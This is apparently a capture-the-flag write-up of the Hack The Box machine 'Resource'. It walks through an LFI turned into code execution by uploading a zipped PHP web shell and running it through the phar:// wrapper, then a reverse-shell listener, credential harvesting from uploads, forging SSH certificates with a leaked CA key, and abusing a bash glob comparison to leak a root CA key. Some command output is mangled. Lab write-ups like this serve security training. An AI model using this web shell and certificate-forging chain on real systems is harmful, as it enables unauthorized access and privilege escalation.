Resource is a hard-difficulty linux machine from Hack The Box written by 0xdf. It initially deals with the phar:// php wrapper abuse in order to exploit an LFI to RCE to get us on system. Then we can get access to the ticket DataBase and find credentials for a user there granting us access to the old SSH certificate signing key, which is still valid and providing us wih root privileges. After that, we can find a script that interacts with the IT API for generating SSH certs that we exploit by sigining an SSH key to get into the main server. That’ll give us the auth_principal_name to for the API and generate a cert for that user. Finally, we can run a bash script vulnerable to Bash Globbing to generate certificate in order to leak that key, and generate an SSH certificate that gives root access to the main server.
PS C:\Users\0xkujen> nmap -A-Pn10.129.231.118 Starting Nmap 7.95 ( https://nmap.org ) at 2024-11-2216:03 W. Central Africa Standard Time Nmap scan report for10.129.231.118 Host is up (0.45s latency). Not shown: 997 filtered tcp ports (no-response) PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 9.2p1 Debian 2+deb12u3 (protocol 2.0) | ssh-hostkey: | 25678:1e:3b:85:12:64:a1:f6:df:52:41:ad:8f:52:97:c0 (ECDSA) |_ 256 e1:1a:b5:0e:87:a4:a1:81:69:94:9d:d4:d4:a3:8a:f9 (ED25519) 80/tcp open http nginx 1.18.0 (Ubuntu) |_http-server-header: nginx/1.18.0 (Ubuntu) |_http-title: Did not follow redirect to http://itrc.ssg.htb/ 2222/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.10 (Ubuntu Linux; protocol 2.0) | ssh-hostkey: | 256 f2:a6:83:b9:90:6b:6c:54:32:22:ec:af:17:04:bd:16 (ECDSA) |_ 2560c:c3:9c:10:f5:7f:d3:e4:a8:28:6a:51:ad:1a:e1:bf (ED25519) Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in80.77 seconds
We can see that we have ssh open on port 22, a web application deployed on the default port 80 and a weird ssh service open on port 2222.
Also port 80 is redirecting us to http://itrc.ssg.htb so let’s go ahead and add that entry to our /etc/hosts file and see what we have.
We see it’s a casual web app at start: Web Application
It has a login and registration features, let’s create an account and see what we have. Upon creating an account, we can create some sort of tickets:
Web Application
The url we used to access this resource is http://itrc.ssg.htb/?page=create_ticket, maybe we could abuse the page parameter to get to other endpoints/functions/files?? Let’s fuzz that parameter using ffuf and see what we get:3
Doing some further testing on the page= parameter, we try to include some random file as we can assume that the web app is hosted over /var/www/itrc: Web Application We’re back again to our create_ticket endpoint.
Uploading an empty ZIP file we can see it has been uploaded to http://itrc.ssg.htb/uploads/b04f3ee8f5e43fa3b162981b50bb72fe1acabb33.zip. After creating a ticket, we can still add a comment. Inspecting the incoming traffic we see a new /api/create_comment.php endpoint. Therefore I think that maybe the real endpoint for our create_ticket can be /var/www/itrc/api/create_ticket. We test that and we see this error when navigating to http://itrc.ssg.htb/?page=/var/www/itrc/api/create_ticket:
Web Application
We get the error about session_start() which is a common issue in PHP application when the function is called multiple times, therefore we just called it again which confirms that we just found ourselves an LFI !! However, I couldn’t list any useful files.
PHAR Deserialization => Remote Code Execution
Since we now have an LFI and we know that this is a PHP application, I thought about abusing php wrappers like file://, phar:// etc.. Let’s try to make a malicious php code <?php system($_GET["cmd"]); ?> and zip it, upload it then include it using the phar wrapper and see what we got: RCE
We can see an error about our cmd parameter in our shell.php file. We try and run a simple id command through http://itrc.ssg.htb/?page=phar://uploads/8b611bcfa9eace994eee7a26d6d540dae76bfc85.zip/shell&cmd=id:
RCE
And we have RCE!!!
Let’s get a shell now: (we first have to encode our payload)
PS C:\Users\0xkujen> nc -lvnp 9001 listening on [any] 9001 ... connect to [10.10.x.x] from (UNKNOWN) [10.129.231.118] 43574 bash: cannot set terminal process group (1): Inappropriate ioctl for device bash: no job control in this shell www-data@itrc:/var/www/itrc$ id id uid=33(www-data) gid=33(www-data) groups=33(www-data) www-data@itrc:/var/www/itrc$
Shell as msainristil
Checking the /uploads directory which has the uploaded zip file to the platform I thought it might have some juicy data like credentials. So checking the /home directory I can see that there is a user named msainristil, let’s see if we can find anything interesting about him:
1 2 3 4 5
www-data@itrc:/var/www/itrc/uploads$ for zip in ./*.zip; do zipgrep "msainristil""$zip"; done <p in ./*.zip; do zipgrep "msainristil""$zip"; done itrc.ssg.htb.har: "text": "user=msainristil&pass=82yards2closeit", itrc.ssg.htb.har: "value": "msainristil" www-data@itrc:/var/www/itrc/uploads$
And we do find credentials for him! And we’re in:
1 2 3 4 5
msainristil@itrc:~$ id uid=1000(msainristil) gid=1000(msainristil) groups=1000(msainristil) msainristil@itrc:~$
We can see that we have a Certificate Authority (CA) private key which can be used by a CA to sign digital certificates which allow us to authenticate the identity of users:
1 2 3 4 5
msainristil@itrc:~/decommission_old_ca$ ls ca-itrc ca-itrc.pub msainristil@itrc:~/decommission_old_ca$ cat ca-itrc.pub ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDoBD1UoFfL41g/FVX373rdm5WPz+SZ0bWt5PYP+dhok4vb3UpJPIGOeAsXmAkzEVYBHIiE+aGbrcXvDaSbZc6cI2aZfFraEPt080KVKHALAPgaOn/zFdld8P9yaENKBKltWLZ9I6rwg98IGEToB7JNZF9hzasjjD0IDKv8JQ3NwimDcZTc6Le0hJw52ANcLszteliFSyoTty9N/oUgTUjkFsgsroEh+Onz4buVD2bxoZ+9mODcdYTQ4ChwanfzFSnTrTtAQrJtyH/bDRTa2BpmdmYdQu+4HcbDl5NbiEwu1FNskz/YNDPkq3bEYEOvgMiu/0ZMy0wercx6Tn0G2cppS70/rG5GMcJi0WTcUic3k+XJ191WEG1EtXJNbZdtJc7Ky0EKhat0dgck8zpq62kejtkBQd86p6FvR8+xH3/JMxHvMNVYVODJt/MIik99sWb5Q7NCVcIXQ0ejVTzTI9QT27km/FUgl3cs5CZ4GIN7polPenQXEmdmbBOWD2hrlLs= ITRC Certifcate CA msainristil@itrc:~/decommission_old_ca$
Now we can sign any other public keys so the system trusts us. So let’s do that to pivot to the zzinter user:
msainristil@itrc:~/decommission_old_ca$ ssh-keygen -t rsa -b 2048 -f kujen Generating public/private rsa key pair. Enter passphrase (empty for no passphrase): Enter same passphrase again: Your identification has been saved in kujen Your public key has been saved in kujen.pub The key fingerprint is: SHA256:xlbHKHhfj8M+GHjZ2hwVtd7TIYYiFS0GbbCQgFofY4U msainristil@itrc The key's randomart image is: +---[RSA 2048]----+ | ...+oo+oo ...| | .. E...o= +. ..| |.. o o.o=.+.+o.o | |. . o.=.*.+o +| | S = * .oo| | o . B o .| | o = | | . | | | +----[SHA256]-----+ msainristil@itrc:~/decommission_old_ca$ ssh-keygen -s ca-itrc -I ca-itrc.pub -n zzinter kujen.pub Signed user key kujen-cert.pub: id "ca-itrc.pub" serial 0 for zzinter valid forever msainristil@itrc:~/decommission_old_ca$
msainristil@itrc:~/decommission_old_ca$ ssh -o CertificateFile=kujen-cert.pub -i kujen zzinter@localhost The authenticity of host 'localhost (127.0.0.1)' can't be established. ED25519 key fingerprint is SHA256:jwOqtWAgCouRm8byeOkLtPI34AC53x/tydC2D3z9eFA. This key is not known by any other names. Are you sure you want to continue connecting (yes/no/[fingerprint])? yes Warning: Permanently added 'localhost' (ED25519) to the list of known hosts. Linux itrc 5.15.0-117-generic #127-Ubuntu SMP Fri Jul 5 20:13:28 UTC 2024 x86_64 The programs included with the Debian GNU/Linux system are free software; the exact distribution terms for each program are described in the individual files in /usr/share/doc/*/copyright. Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent permitted by applicable law. zzinter@itrc:~$ id uid=1001(zzinter) gid=1001(zzinter) groups=1001(zzinter) zzinter@itrc:~$ ls sign_key_api.sh user.txt zzinter@itrc:~$ cat user.txt ce3e9aeda31076****************** zzinter@itrc:~$
And we have our user flag!
Pivoting to root - ITRC
We can do the same thing to escalat to root on the ITRC machine:
1 2 3 4 5 6 7 8 9 10 11 12
msainristil@itrc:~/decommission_old_ca$ ssh -o CertificateFile=kujen-cert.pub -i kujen root@localhost Linux itrc 5.15.0-117-generic #127-Ubuntu SMP Fri Jul 5 20:13:28 UTC 2024 x86_64
The programs included with the Debian GNU/Linux system are free software; the exact distribution terms for each program are described in the individual files in /usr/share/doc/*/copyright.
Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent permitted by applicable law. root@itrc:~# id uid=0(root) gid=0(root) groups=0(root) root@itrc:~#
Pivoting to Support - SSG
Checking what zzinter had on his home directory, we find sign_key_api.sh file:
supported_principals="webserver,analytics,support,security" IFS=','read -ra principal <<< "$principal_str" for word in"${principal[@]}"; do if ! echo"$supported_principals" | grep -qw "$word"; then echo"Error: '$word' is not a supported principal." echo"Choose from:" echo" webserver - external web servers - webadmin user" echo" analytics - analytics team databases - analytics user" echo" support - IT support server - support user" echo" security - SOC servers - support user" echo usage fi done
if [ ! -f "$public_key_file" ]; then echo"Error: Public key file '$public_key_file' not found." usage fi
This script is being used to sign an ssh public key with certain principals using the signserv.ssg.htb web server. In few words: The script takes a public key, a username and a principal (from the list) as parameters. Now I will first create an RSA keypair:
kujen@kujen:~$ ssh-keygen -t rsa -b 2048 -f key && chmod 600 key Generating public/private rsa key pair. Enter passphrase (empty for no passphrase): Enter same passphrase again: Your identification has been saved in key Your public key has been saved in key.pub The key fingerprint is: SHA256:ZUFxr6fNHOTq80gmgi2klBriDdfJTSzoNyASA96jY80 kujen@kujen The key's randomart image is: +---[RSA 2048]----+ |= .+.. | |.o. . . o . | |.o = . o o o | |. * =.= o + | |.=.Eo*..S . + | |o.=+.o.o B . | | .... o o . = + | | . . =.. | | oo. | +----[SHA256]-----+
Then make a request to the web server using that data:
kujen@kujen:~$ ssh -o CertificateFile=key-certificate.pub -i key [email protected] -p 2222 The authenticity of host '[ssg.htb]:2222 ([10.129.231.118]:2222)' can't be established. ED25519 key fingerprint is SHA256:tOsmHdA7xDQq2UDyCf0EobZ/LcitevFrAQ6RSJCy10Q. This key is not known by any other names. Are you sure you want to continue connecting (yes/no/[fingerprint])? yes Warning: Permanently added '[ssg.htb]:2222' (ED25519) to the list of known hosts. Welcome to Ubuntu 22.04.4 LTS (GNU/Linux 5.15.0-117-generic x86_64) * Documentation: https://help.ubuntu.com * Management: https://landscape.canonical.com * Support: https://ubuntu.com/pro System information as of Fri Nov 22 08:59:25 PM UTC 2024 System load: 0.0 Usage of /: 77.9% of 10.73GB Memory usage: 16% Swap usage: 0% Processes: 245 Users logged in: 0 IPv4 address for eth0: 10.129.231.118 IPv6 address for eth0: dead:beef::250:56ff:feb9:7353 Expanded Security Maintenance for Applications is not enabled. 0 updates can be applied immediately. Enable ESM Apps to receive additional future security updates. See https://ubuntu.com/esm or run: sudo pro status The list of available updates is more than a week old. To check for new updates run: sudo apt update support@ssg:~$ id uid=1000(support) gid=1000(support) groups=1000(support) support@ssg:~$
Pivoting to zzinter - SSG
We can see that this is the principal for zzinter:
System information as of Fri Nov 22 09:08:14 PM UTC 2024
System load: 0.11 Usage of /: 78.0% of 10.73GB Memory usage: 16% Swap usage: 0% Processes: 248 Users logged in: 0 IPv4 address for eth0: 10.129.231.118 IPv6 address for eth0: dead:beef::250:56ff:feb9:7353
Expanded Security Maintenance for Applications is not enabled.
0 updates can be applied immediately.
Enable ESM Apps to receive additional future security updates. See https://ubuntu.com/esm or run: sudo pro status
The list of available updates is more than a week old. To check for new updates run: sudo apt update Failed to connect to https://changelogs.ubuntu.com/meta-release-lts. Check your Internet connection or proxy settings
zzinter@ssg:~$ id uid=1001(zzinter) gid=1001(zzinter) groups=1001(zzinter) zzinter@ssg:~$
Privilege Escalation to root - SSG
Checking what zzinter can perform as sudo :
1 2 3 4 5 6
zzinter@ssg:~$ sudo -l Matching Defaults entries for zzinter on ssg: env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty
User zzinter may run the following commands on ssg: (root) NOPASSWD: /opt/sign_key.sh
if [ ! -f "$ca_file" ]; then echo"Error: CA file '$ca_file' not found." usage fi
itca=$(cat /etc/ssh/ca-it) ca=$(cat"$ca_file") if [[ $itca == $ca ]]; then echo"Error: Use API for signing with this CA." usage fi
if [ ! -f "$public_key_file" ]; then echo"Error: Public key file '$public_key_file' not found." usage fi
supported_principals="webserver,analytics,support,security" IFS=','read -ra principal <<< "$principal_str" for word in"${principal[@]}"; do if ! echo"$supported_principals" | grep -qw "$word"; then echo"Error: '$word' is not a supported principal." echo"Choose from:" echo" webserver - external web servers - webadmin user" echo" analytics - analytics team databases - analytics user" echo" support - IT support server - support user" echo" security - SOC servers - support user" echo usage fi done
if ! [[ $serial =~ ^[0-9]+$ ]]; then echo"Error: '$serial' is not a number." usage fi
This script allows us to sign a public key with the CA. 1- Usage check: Ensures exactly five arguments are passed: CA file, public key file, username, principal(s), and serial number. 2- File validation: Checks if the specified CA file and public key file exist. 3- Restricted CA: Prevents using a specific CA (/etc/ssh/ca-it) for signing, requiring an API instead. 4- Principal validation: Verifies the provided principal(s) against supported roles (webserver, analytics, support, security). 5- Serial validation: Ensures the serial is a numeric value. 6- Key signing: Uses ssh-keygen to sign the public key with the CA.
This script is vulnerable to Bash Globbing : it is comparing the ca-it key to our provided CA file to the one inside /etc/ssh therefore we can leak the original key by simply bruteforcing it adding the wildcard * at the end:
zzinter@ssg:~$ ssh-keygen -t rsa -b 2048 -f root Generating public/private rsa key pair. Enter passphrase (empty for no passphrase): Enter same passphrase again: Your identification has been saved in root Your public key has been saved in root.pub The key fingerprint is: SHA256:EZukaJMt5yB2o2q8Cc5uqwM2sAToLzwNpYkWto/Dpic zzinter@ssg The key's randomart image is: +---[RSA 2048]----+ |. o | |oo . + o + | |= O X + + | |oX = B . | |*.B . S | |+% + | |Bo= | |E.+ | |=@. | +----[SHA256]-----+ zzinter@ssg:~$ zzinter@ssg:~$ ls ca-it exploit.py kujen kujen.pub root.pub ca-test file kujen-cert.pub root user.txt zzinter@ssg:~$ ssh-keygen -s ca-it -z 1234 -I root -V -100w:forever -n root_user root.pub Signed user key root-cert.pub: id "root" serial 1234 for root_user valid after 2022-12-24T15:59:38 zzinter@ssg:~$ ssh -o CertificateFile=root-cert.pub -i key root@localh ost -p 2222 Warning: Identity file key not accessible: No such file or directory. @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@ @ WARNING: UNPROTECTED PRIVATE KEY FILE! @ @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@ Permissions 0644 for 'root-cert.pub' are too open. It is required that your private key files are NOT accessible by others. This private key will be ignored. Load key "root-cert.pub": bad permissions root@localhost's password:
zzinter@ssg:~$ chmod 600 root-cert.pub zzinter@ssg:~$ ssh -o CertificateFile=root-cert.pub -i key root@localhost -p 2222 Warning: Identity file key not accessible: No such file or directory. Load key "root-cert.pub": error in libcrypto root@localhost's password: zzinter@ssg:~$ ssh -o CertificateFile=root-cert.pub -i root root@local host -p 2222 Welcome to Ubuntu 22.04.4 LTS (GNU/Linux 5.15.0-117-generic x86_64) * Documentation: https://help.ubuntu.com * Management: https://landscape.canonical.com * Support: https://ubuntu.com/pro System information as of Sat Nov 23 04:00:48 PM UTC 2024 System load: 0.01 Usage of /: 90.5% of 10.73GB Memory usage: 18% Swap usage: 0% Processes: 250 Users logged in: 1 IPv4 address for eth0: 10.129.231.118 IPv6 address for eth0: dead:beef::250:56ff:feb9:7353 => / is using 90.5% of 10.73GB Expanded Security Maintenance for Applications is not enabled. 0 updates can be applied immediately. Enable ESM Apps to receive additional future security updates. See https://ubuntu.com/esm or run: sudo pro status The list of available updates is more than a week old. To check for new updates run: sudo apt update Failed to connect to https://changelogs.ubuntu.com/meta-release-lts. Check your Internet connection or proxy settings root@ssg:~# id uid=0(root) gid=0(root) groups=0(root) root@ssg:~# cat root.txt 0fc6044116c5ff****************** root@ssg:~#
That was it for Resource! Hope you liked it. -0xkujen